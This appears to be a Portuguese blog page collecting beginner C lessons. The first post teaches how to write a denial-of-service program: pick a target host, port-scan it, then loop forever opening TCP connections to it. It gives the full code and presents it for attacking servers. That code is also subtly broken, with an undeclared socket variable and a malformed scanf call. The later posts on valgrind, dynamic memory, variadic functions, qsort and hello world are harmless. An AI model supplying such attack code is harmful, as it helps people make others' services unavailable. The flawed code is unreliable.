Mostrando postagens com marcador aula linguagem c. Mostrar todas as postagens
Mostrando postagens com marcador aula linguagem c. Mostrar todas as postagens





Olá pessoal, hoje nós aprenderemos a como criar um ataque DoS, mas antes de começarmos é de fundamental importância que vocês tenham lido o tutorial de criação de sockets. Para encontrá-lo é só clicar bem aqui.

O que é um ataque DoS?


Um ataque DoS (sigla em inglês para Denial of Service) é um ataque de negação de serviço que tem como finalidade tornar os recursos de um sistema inacessíveis para seus usuários, é comumente utilizado para atacar servidores WEB tornando suas páginas hospedadas  indisponíveis. Diferente de outros ataques, o DoS não se trata de uma invasão, mas sim de uma sobrecarga fazendo com que o serviço disponibilizado "caia". 

Como fazer um ataque DoS?


Agora vamos ao que interessa, relacionado ao conteúdo aprendido no tutorial de sockets iremos aprimorar as nossas habilidades para construirmos o nosso código DoS em C, antes de tudo você deve escolher um alvo (host ativo) e realizar um portscan nele para identificar quais portas TCP estão abertas, não usaremos portas UDP pois não é possível identificar de forma simples se uma porta UDP está aberta ou filtrada por um firewall. Após isso, abra o seu terminal e escolha o editor de textos de sua preferência que iremos começar a codificar!

Criando o Código DoS em C


Primeiramente declararemos as bibliotecas que iremos usar no nosso código, no caso usaremos bibliotecas referentes a input e output, conexão e declaração de sockets e manipulação de strings:

          #include<stdio.h>
          #include<netdb.h> 
          #include<unistd.h> 
          #include<string.h>

Logo após iremos criar a nossa função principal, a main, onde estará todo o corpo do nosso código e em seguida, entre os parêntese, utilizaremos os os seguintes parâmetros para usar a passagem de argumentos:

         int main( int argc, char *argv[] ){
          

          }

Depois iremos declarar as variáves que usaremos ao longo do nosso código, inicialmente quatro variáveis inteiras, uma relacionada a criação do socket, um contador para o loop que iremos criar, outra para fazer a conexão com o nosso alvo e uma para digitarmos o número da porta por qual faremos a negação do serviço e por último um ponteiro de char que receberá o endereço ip que foi passado como argumento. Confira o exemplo abaixo:

int meuSocket;
int conectar;
        int cont; 
int porta;
char  *Ipalvo = argv[1];


Agora iremos colocar um scanf para que o usuário possa entrar com o valor da porta TCP para se conectar com o alvo.

          scanf(%d",&porta);

Após declararmos as variáveis e fazermos a leitura da porta abriremos um loop while com apenas 1 dentro dele, assim o loop ficará infinitamente, ou seja, enquanto o nosso código estiver rodando o ataque estará sendo executado.

          while(1){

          }

Dentro do while iremos criar e estabelecer a conexão com o endereço de ip passado por argumento e a porta TCP encontrada aberta, para isso faça da seguinte forma, caso tenha dúvidas sobre como criar um socket dê uma olhada no nosso tutorial de criação de sockets, lá está o passo a passo de todo o procedimento.


         struct  sockaddr_in alvo;
meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = inet_addr(Ipalvo);
    
conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
                     

Para finalizar, colocaremos uma condicional de confirmação, se a conexão com servidor através da porta selecionada for bem sucedida, o código irá "printar" uma mensagem, caso não seja, ele encerrará a conexão e através do loop tentará abrir outra.


         if( conectar ==  0 ){

                                printf("atacando o servidor pela porta %d \n",porta);

                        }else{

                                close(meuSocket);                    
                                close(conectar);
                        }


No final a Estrutura do nosso código ficará como mostrado abaixo, enquanto seu algoritmo estiver rodando a conexão com o alvo continuará sendo realizada e a negação de serviço estará sendo feita e não esqueça de passar o endereço ip do alvo como argumento na hora de executar o código. Até a próxima pessoal!



#include<stdio.h>
#include<netdb.h> 
#include<unistd.h> 
#include<string.h>


int main(int argc, char *argv[]){

int meuSocket;
int conectar;
int porta;
  char  *Ipalvo = argv[1];
     
      scanf(%d",&porta);

                while(1){

       struct  sockaddr_in alvo;
       meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

       alvo.sin_family = AF_INET;
       alvo.sin_port = htons(porta);
       alvo.sin_addr.s_addr = inet_addr(Ipalvo);
     
       conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
                     
                        if( conectar ==  0 ){

                                printf("atacando o servidor pela porta %d \n",porta);

                        }else{

                                close(meuSocket);                      
                                close(conectar);
                        }
         }

                return 0;
 }       



Um caso interessante que acontece quando começamos a trabalhar com alocação dinâmica em c, é a preocupação em liberar a memória que é feita utilizando a função free(). Contudo nem todos os programas que faremos terão um único ponteiro, podemos ter estruturas complexas com várias operações em seus dados, e como ter certeza nessas ocasiões de que a memória foi liberada? Para essas situações o uso da ferramenta valgrind é o ideal. Esta ferramenta lhe permite ver quantos alocações foram feitas e quantas foram liberadas, além de várias outras aplicações veja mais clicando aqui.

Para instalar a valgrind em sua máquina digite no terminal:

  sudo apt-get install valgrind

Agora, vamos fazer um teste com um programa básico. Digamos que criamos um ponteiro para inteiro e esquecemos de liberar no final da execução do programa, então no relatório da valgrind ao final da execução terá um alerta de quantas alocações fizemos em byte e quanto dessas alocações foram liberadas, segue o código abaixo:


#include<stdio.h>
#include<stdlib.h>

int main(int argc, char *argv[])

{
   int *inteiro;
   inteiro = (int*) malloc(sizeof(int));
   *inteiro = 10;
   printf("%d", *inteiro);
   return 0;

}

Quando for compilar e rodar o seu programa utilize o seguinte comando para ativar a valgrind:

  gcc nomedoprograma.c -o nomedoprograma
  valgrind ./nomedoprograma

Você receberá um relatório parecido com esse ao final do programa:

==5243== HEAP SUMMARY:

==5243==     in use at exit: 4 bytes in 1 blocks

==5243==   total heap usage: 1 allocs, 0 frees, 4 bytes allocated

==5243==

==5243== LEAK SUMMARY:

==5243==    definitely lost: 4 bytes in 1 blocks

==5243==    indirectly lost: 0 bytes in 0 blocks

==5243==      possibly lost: 0 bytes in 0 blocks

==5243==    still reachable: 0 bytes in 0 blocks

==5243==         suppressed: 0 bytes in 0 blocks

==5243== Rerun with --leak-check=full to see details of leaked memory

==5243==

==5243== For counts of detected and suppressed errors, rerun with: -v

==5243== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)

Note que fizemos uma alocação de 4 bytes e não à liberamos, o que temos que fazer é corrigir o nosso programa para que libere o espaço alocado:


#include<stdio.h>
#include<stdlib.h>

int main(int argc, char *argv[])

{
 int *inteiro;
 inteiro = (int*) malloc(sizeof(int));
 *inteiro = 10;
 printf("%d", *inteiro);
        free(inteiro);
 return 0;
}

E quando recompilar o seu programa verá um relatório diferente, mais otimista, com todos as alocações tendo seu espaço liberado após a execução:

 ==5350== HEAP SUMMARY:

==5350==     in use at exit: 0 bytes in 0 blocks

==5350==   total heap usage: 1 allocs, 1 frees, 4 bytes allocated

==5350==

==5350== All heap blocks were freed -- no leaks are possible

==5350==

==5350== For counts of detected and suppressed errors, rerun with: -v

==5350== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)

Esse foi um exemplo básico de como usar essa ferramenta, utilize-a em programas mais elaborados com várias estruturas que precisarão serem liberadas e deixe seus comentários sobre sua experiência com essa ferramenta. Até a próxima!

Valgrind: http://valgrind.org







Já pensaram em criar seus próprios tipos de dados? Tipos de dados reais? Como coordenadas, pessoas, animais e etc? Isso tudo é possivel com a utilização de estrutruras, este tipo de dado lhe permite criar combinações com tipos de dados diferentes.
Suponha que quer criar uma pessoa em seu programa, certo? Agora quais características teria essa pessoa? Podemos listar algumas:


Ponteiro nada mais é do que um tipo de dado, a única diferença é que o valor recebido é um endereço de memória. Como assim um endereço de memória? Pois é, cada variável que cria em seu programa está localizada em uma posição de memória, veja o exemplo a seguir:



Olá galera, hoje mostrarei como funciona a alocação dinâmica de memória, em primeiro momento vamos entender a diferença da alocação estática para a dinâmica, basicamente a alocação estática é realizada antes do programa começar a ser executado, segue alguns exemplos de alocação estática:

int idade;                                                                                                                         
char nome[20]; 
 Mas as vezes você não sabe quanto precisará utilizar de memória, e é preciso alocar dinamicamente na execução do programa, para esse gerenciamento foram criadas as funções malloc(), calloc()  e free(). Para o uso dessas funções é necessária a declaração da biblioteca <stdlib.h> que pode ser incluída facilmente em seu header assim:

#include<stdlib.h>

Malloc

A função malloc (Memory Allocation) aloca um espaço na memória do computador e devolve o endereço. Como argumento é passado o tamanho de memória que se deseja alocar, por exemplo, se quiser alocar um espaço para uma variável inteira é simples com o uso do operador sizeof que retorna o tamanho de bytes necessários para uma variável de x tipo. Então ficaria assim:

int *idade;       
idade = (int*)  malloc(sizeof(int));
O endereço devolvido por malloc é do tipo *void, por isso foi necessário o cast(conversão).
Para atribuir valores a variáveis ponteiros digite o seguinte:

*idade = 13;
Há possibilidade de que sua memória esteja toda ocupada e não permita a alocação com malloc(), caso isso ocorra malloc retornará NULL, então é sempre bom verificar:

if(idade == NULL){
printf("Memória cheia!");
}else{
printf("Alocado com sucesso!");
}

Free

Quando se aloca uma variável estáticamente ela desaparece sempre após a execução da função. Contudo quando alocamos espaço dinamicamente esses valores são mantidos na memória. Para isso a função free existe, para liberar espaço de memória alocado dinamicamente, o que esta função basicamente faz é liberar o espaço alocado com malloc para que outros processos possam utilizar este local. Free irá receber como parametro o ponteiro alocado com malloc, essa é a sintaxe:

free(idade);

 Vetores e Matrizes 

Para a criação de vetores dinamicamente, existe a função calloc que irá receber dois parametros o primeiro será o  n, ou seja, o tamanho do vetor e por último o tamanho do byte que se deseja alocar assim como malloc,  observe o exemplo abaixo:

int n;
int *p;
scanf("%d", &n);
p = (int*) calloc(n, sizeof(int));

Lembrando que a norma ANSI não permite digitar "int v[n]", a menos que n seja uma constante. O que está sendo feito acima é uma alocação de memória dinamicamente, a leitura desse vetor é feita da mesma forma que faria caso tivesse declarado um vetor estático:

int i;
for(i = 0; i < n; ++i){
    scanf("%d", &p[i]);
}
Ou da seguinte forma, andando a cada endereço:

int i;
for(i = 0; i < n; ++i){
    scanf("%d", p+i);
}

A leitura também funciona da mesma forma:

int i;
for(i = 0; i < n; ++i){
    printf("%d", p[i]);//ou *p+i
Lembrando que é possível a criação de vetores com malloc , da seguinte forma:


p = (int*) malloc(n * sizeof(int)); 
O que o código acima faz é, pedir que a memória aloque n espaços do tipo int, o que nada mais é do que um vetor.

A matriz segue na mesma linha da criação de vetores, a diferença é que será criado um vetor de vetores, com isso o seu ponteiro apontará para um ponteiro , segue exemplo abaixo:
int linhas,colunas,i;
int **matriz;
scanf("%d %d", &linhas,&colunas);
matriz = (int**) malloc( linhas * sizeof(int *));
for (i = 0; i < linhas; ++i)
matriz[i] = (int *) malloc (colunas * sizeof (int));
 O processo é simples , quando colocado dois asteristicos "**", significa que o seu ponteiro será um ponteiro para um ponteiro, que é o que precisamos para criar a nossa matriz bidimensional, lemos o número de linhas e depois o número de colunas, em primeiro momento é alocado o espaço para as linhas que serão os nossos ponteiros para cada coluna, e por último varremos todas as linhas e alocamos x colunas.

Para leitura ou escrita basta fazer do mesmo jeito, com a sintaxe matriz[i][j].

Obrigado por lerem mais uma aula de C, fiquem a vontade para perguntar nos comentários e até a próxima!
imagem funcoes variaveis



Já pensou em fazer uma função com a quantidade de argumentos que quiser? Pois bem é o que faremos hoje, um exemplo de uma função variável seria a função printf(), em que é possivel passar vários argumentos para ela como variáveis, ou textos. Faremos um exemplo que devolve o valor total da conta de uma lanchonete, segue o código comentado:

codigo funcoes variaveis


Você deve obter a seguinte saída:

saida funcoes variaveis


Até a próxima!



Não seria ótimo, se houvesse uma função em C que ordenasse seus vetores do jeito que quisesse, sem precisar de um laço enorme para isso? Pois é existe na biblioteca padrão do C a função qsort(), que recebe um ponteiro para uma função de comparação totalmente personalizada para que seu vetor seja arrumado do jeito que queira. Para entender como essa mágica funciona, vamos fazer um exemplo de arrumação de números então inicie um novo arquivo c, inclua a biblioteca padrão:


#include<stdlib.h>

 Logo após crie nossa função personalizada que nesse caso será utilizada para ordenar valores inteiros em ordem crescente:




O funcionamento de qsort() é simples, ele compara pares de valores repedidamente  e se a posição deles estiver errada de acordo com nossa definição de arrumação ele inverte as posições dos elementos, faz isso retornando três valores diferentes: Se o primeiro valor for maior que o segundo o retorno será um número positivo, caso contrário retorna negativo e se forem iguais retorna 0. A assinatura da função qsort() é:

 qsort(void *array, size_t length, size_t item_size, int (*compar) (const void *, const void *));

Como primero parâmetro passamos um ponteiro para um array, o segundo é passado o tamanho do array, no terceiro parâmetro é passado o tamanho de cada elemento no array ou seja o tamanho do dado, e como último parâmetro qsort recebe um ponteiro para uma função que possui dois parâmetros void. Agora vamos terminar nosso programa criando a função main e definindo nosso vetor de inteiros:



Quando compilar e executar seu código terá o seguinte resultado:

Codigo compilado


Agora que já conhece o poder da qsort(), treine mais crie funções de comparação para arrumar vetores de strings, ordenar números em ordem decrescente e etc. Obrigado pela leitura e até a próxima.



PRINTF, PUTS, PUTCHAR




Como prometido no último post hoje falaremos sobre variáveis, mas o que são variáveis? Pense em variáveis como potes que guardam determinado valor, por exemplo, determinado pote de sua casa guarda o arroz ou o leite, aqui em nossos programas as variáveis também guardam determinados tipos de valores como veremos logo abaixo, o primeiro tipo que veremos é o int, esse pote guardará números inteiros, olha só como declaramos no nosso arquivo fonte:
primeiro programa em c

Hoje daremos continuidade a nossa série de postagem sobre C, se não viu nossa primeira postagem clique aqui.

Mas como um programa em C funciona? Então C é um linguagem estruturada, onde os programas são construidos a partir de funções(que são blocos de códigos, que executaram determinada função no programa), abordaremos funções mais detalhadamente no decorrer dos posts. 

O que é necessário para começar? 

Para iniciarmos é necessária que se tenha um bloco de notas ou utilize uma IDE para a escrita de nossos programas. Caso esteja utilizando linux não é necessario a instalação de um compilador, pois o mesmo já vem instalado que é o compilador gcc, se estiver em outro sistema será necessária a instalação para execução de nossos programas. 
Uma boa opção é instalar uma IDE(Ambiente de desenvolvimento integrado), que é um programa que nos auxilia durante todo o processo de construção de nossos softwares. Há muitas IDE's famosas que suportam a linguagem C, as mais famosas para iniciantes são: Code::Blocks e Dev-C++.
Outra vantagem das IDE's é que elas já possuem compiladores internos, o que lhe deixa mais preocupado com sua solução do que com o ambiente.

Hello World 

Como todo bom programador, o primeiro programa a ser construído será o Hello World, há boatos que quem não segue essa tradição é azarado para o resto de sua carreira, melhor não superestimar. Primeiro passo crie um novo arquivo e renome-o para helloworld.c, as extensões para nossos programas sempre serão .c.
Agora declare a biblioteca padrão do C para entrada e saída, assim: 


biblioteca c


Por que declarar bibliotecas? Bibliotecas são arquivos que contém varias funções prontas para utilizarmos dentro de nosso programa, uma ótima notícia é que C possui várias funções em suas biblioteca padrão para que nos utilizemos. 
Bom C é uma linguagem muito pequena e não faz quase nada sem utilizar bibliotecas externas. Por isso sempre teremos que dizer ao compilador qual código externo utilizar, declarando no inicio do programa no header(cabeçalho), tudo que estiver escrito após as duas barras não serão lidos pelo compilador, pois são comentários.
Nosso próximo passo é declarar nossa função principal a main como vimos no primeiro post:




 Vamos analisa-la melhor, int é o valor de retorno da função, o comum é que se utilize int para a função main. Isso quer dizer que quando a função terminar de ser executada irá retornar um valor int(inteiro) para o compilador, isso pode ser utilizado de várias formas a mais comum é para saber se o programa funcionou, retornando sempre 0, se diferente disso houve erro. 
Agora vamos exibir nossa mensagem, para isso precisamos chamar a função printf que exibe algo no nosso console. Lembrando que printf é uma função que está disponivel dentro da biblioteca <stdio.h>:



É muito importante colocar sua mensagem entre aspas para que o compilador não pense que é uma variável, outro ponto a destacar é que sempre ao final de uma instrução coloque o ponto e vírgula, isso mostra ao compilador que chegou ao final daquela instrução.
A função printf é bastante poderosa, é possível passar quantos argumentos quiser para ela, veremos o que mais é possível fazer com printf no nosso próximo post .

Após a construção do nosso algoritmo, é a hora de compilarmos e vermos o resultado, em sua IDE clique em compilar e executar, para ver o resultado, deve resultar em algo parecido com essa imagem:




 Caso queira compilar pelo terminal ou prompt de comando, siga os seguintes passos, primeiro abra o terminal na pasta em que salvou o seu arquivo.c, após digite o seguinte comando:


Após esse comando verifique em sua pasta que foi criado outro arquivo chamado helloworld que será .exe se estiver no windows, esse arquivo contém o nosso programa em linguagem de máquina e é ele que executaremos para ver o resultado do nosso programa, então digite o seguinte comando ./helloworld caso esteja no Linux e Mac, se estiver no Windows apenas digite helloworld:




 
Dúvidas e sugestões deixem nos comentários. Nosso próximo post será sobre variáveis, até lá!
 

E ae programers! Hoje estaremos dando os primeiros passos com a linguagem C. Mas por que aprender C? Primeiramente C funciona em um nível mais baixo do que outras linguagens de alto nível, logo aprendendo C você entenderá melhor o que realmente está acontecendo durante todo o processo de produção do software, a maioria dos sistemas operacionais e das outras linguagens de programação foram escritas em C, além disso é possível programar arduino e escrever código de alta performance para jogos.